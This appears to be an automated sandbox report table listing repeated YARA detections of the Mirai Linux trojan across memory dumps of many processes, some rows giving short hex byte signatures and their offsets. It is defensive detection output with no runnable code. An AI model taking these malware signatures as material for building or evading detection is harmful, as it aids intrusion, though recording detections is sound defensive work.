7384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6454.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6454.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6454.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6454.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6454.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6454.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7096.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7096.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7096.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7096.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7096.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7096.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6799.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6799.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6799.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6799.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6799.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6799.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7063.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7063.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7063.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7063.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7063.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7063.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6669.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7143.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6538.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6538.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6538.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6538.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6538.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6538.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7105.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7105.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7105.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7105.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7105.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7105.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6767.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7291.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7291.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7430.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6874.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6874.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6874.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6874.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6874.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6874.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6480.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6480.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6480.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6480.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6480.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6480.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6701.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6701.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6701.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6701.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6701.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6701.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6667.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7340.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6759.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6759.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6759.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6759.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6759.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6759.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7359.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7359.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7027.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7027.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7027.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7027.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7027.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7027.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7003.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6717.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6717.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6717.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6717.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6717.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6717.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7383.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6824.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6824.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6824.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6824.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6824.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6824.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7376.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7376.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6586.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6586.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6586.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6586.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6586.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6586.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7099.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7099.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7099.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7099.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7099.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7099.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6870.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6870.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6870.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6870.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6870.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6870.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6999.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7037.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7037.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7037.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7037.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7037.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7037.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6999.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6999.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6999.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6999.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6999.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6796.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6665.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7127.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7127.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
